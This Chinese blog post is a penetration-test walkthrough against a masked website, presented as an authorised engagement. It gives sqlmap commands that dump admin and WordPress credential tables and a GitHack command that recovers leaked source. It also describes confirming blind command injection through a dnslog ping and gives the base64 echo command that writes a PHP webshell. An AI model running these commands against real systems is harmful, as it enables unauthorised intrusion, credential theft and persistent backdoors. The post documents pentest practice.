SQL 登录注入脚本_项目实战 | SQL注入的“格局”

b2362a2d0b785a2cfe0a6c9a506e3538.gif

文章来源:安译Sec

0x00 前言

曾经搞站最经典的套路就是:注入拿到密码进后台,上传shell然后内核提权。但是实际环境中,往往会有注入后密码解不开、找不到后台等情况,所以现在有的师傅说sql注入还不如xss。

0x01 详细步骤

一.网站界面就不放了,打码太累了,直接跳到随意点点后发现可疑参数,并确定存在漏洞的截图。

and 1=1页面显示正常,and 1=0页面变空白确定存在数字型注入,order by确定共4列,最后用select 1,2,3,4确定第2列回显。

a7c710bd420ea8075ef05bdf1592996a.png

二.之前探测发现没有waf,那就直接sqlmap一把梭。

跑当前库名:python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent --current-db跑所有数据库名:python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent --dbs标绿色的为当前数据库:xxx_history
e71a16982e209992b89a3ed52bb89b07.png

三. 跑当前数据库表名。

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_history --table

标绿色的表为我认为是存放管理员数据的表:

a8f091de1d2893d864cfd00575ee1094.png

四.直接拖管理表的数据。

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_history -T administrators --dump

03c5d31dcaed0b77f14490b5072776ed.png

居然是明文密码,现在明文密码很少见了,不过考虑到目标网站有点历史悠久,也能理解。

五.虽然获得了管理员密码,但是找不到后台,常用的/admin、/login、/manage都试了。

b79fa32eb96f8fb1d841b0849fe48728.png

六.用脚本扫目录,字典用的是御剑的标准字典。得到以下敏感目录(截图不全)。

f20a9af45a94d3718302d5b294400499.png

七.git目录存在即git源码泄露漏洞,用GitHack脚本恢复了整站源码,一大坨,截图就不放了,放个数字你们感受下。

python2 GitHack.py https://www.马赛克.com/.git/

59350fcbd711818ff41e48e0978103ba.png

八.根据名字确定其中疑似后台的目录:

4227e499def5caaa7d9f5b71739237c4.png

九.访问试试,/admin1已经404了,因为git中留存的是历史代码,所以目录被改名或删除都有可能。

380f497aec2734ab04f5f38e0ae0531d.png

十./7mysql7需要输入密码,试了不是之前注出的密码。

03add17771dfd37d6ac213073ca56f44.png

十一.xxxquestions目录下的wp-admin倒是可以进,但是也不是之前注出的密码。

8c1f3264028783f57e79806a9e4cbc83.png

十二.之前看到还有个xxx_questions数据库,再用sqlmap去跑一下试试:

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_questions --tables

69d21f4aff846066492efb4ae3468f01.png

python2 sqlmap.py -u https://www.马赛克.com/subcat.php?id=24 --random-agent -D xxx_questions -T wp_users --dump

5f2a6baf04d9ca97293a95ec180ddac1.png

十三.这种加密是wordpress特有的加密,cmd5有针对该框架的解密,但是这个密码似乎太复杂,解不出。

9a0f020876949e2d0ce7488407b0002e.png

十四.至此sql注入后有密码找不到后台、有后台解不开密码的情况就都碰到了。渗透似乎陷入僵局,没关系,手里的源码还有利用价值,拖到D盾里自动审计一下。

fe044d314d853382a9e332f9587e37c3.png

十五.访问那个级别5的已知后门,原来已经被人日过了,是个黑页:hacked by XXX。这个网站比较有历史了,可能这个黑页也是很多年前的某个娱乐圈黑客搞的。

8d0fa749961830c341651d6cde7f611f.png

十六.访问级别4的shell_exec后门,是个空白页面,查看手中的源代码,发现是一个备份脚本,有可能是同行留的,也有可能是没有安全意识的管理员自己写的。后面那种可能性比较大。

f24549ca80ca38f55fa2bc219c84b6be.png

十七.脚本逻辑:接收了POST的filename参数,然后执行打包备份,但是参数传进shell_exec之前没有做过滤,产生了命令执行的漏洞。用linux的命令连接符分号,可以在后面拼接任意命令,这里尝试一下执行whoami,但是还是空白页面。

573d2f39011c3e67590e19bb8409c2c9.png

十八.想到是因为shell_exec函数没有回显,也不知道命令执行成功没有,这里我们用公开免费的dnslog平台去接收没有回显的注入:

http://www.dnslog.cn/,用法如下:

先点击Get SubDomain在平台获取一个域名

4b30bc29f0e23dbc1b7616bdb663c67d.png

十九.然后执行ping命令,反撇号中的命令会自动执行并返回命令执行的结果拼接到命令里,linux系统使用ping命令要加-c指定次数,不然会一直ping个没完。

25b1d9e19108773cff6bd59942bff59a.png

二十.去平台点击Refresh Record刷新(不要刷新整个网页),获取到解析日志。

d3328e29d8f87c6723f0c998e2d803f1.png

可以看到命令是执行成功了的。whoami的回显为www-data

二十一.确认了漏洞存在,接下来利用漏洞写一句话,注意因为一句话中包含特殊字符,要编码后写入,payload如下

echo base64编码后的一句话|base64 -d > shell.php

(实战中不要用这个文件名,有授权的测试随便,但要注意文件名对waf来说也是一种特征)

f2a85d76430f738d0e96098cbe996fa1.png

二十二.写马成功

80a1a05178ffcd2b7600484712aef61d.png

二十三.客户没有授权内网,项目结束。

9d846d69c55f12b96b79cc44f5b584d3.png

d4d52247d1cdbdb621fc48af38bcf09d.png

推荐文章++++

c1033d43bd5e338782e69e9255a558ca.png

*SQLiScanner-SQL注入扩展扫描工具

*Django GIS SQL注入漏洞

*SQL注入类型

b344273e1ebe919c10f2eff5315fe250.png

3a781f960ed41bf9b9d81afe94dc7e54.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值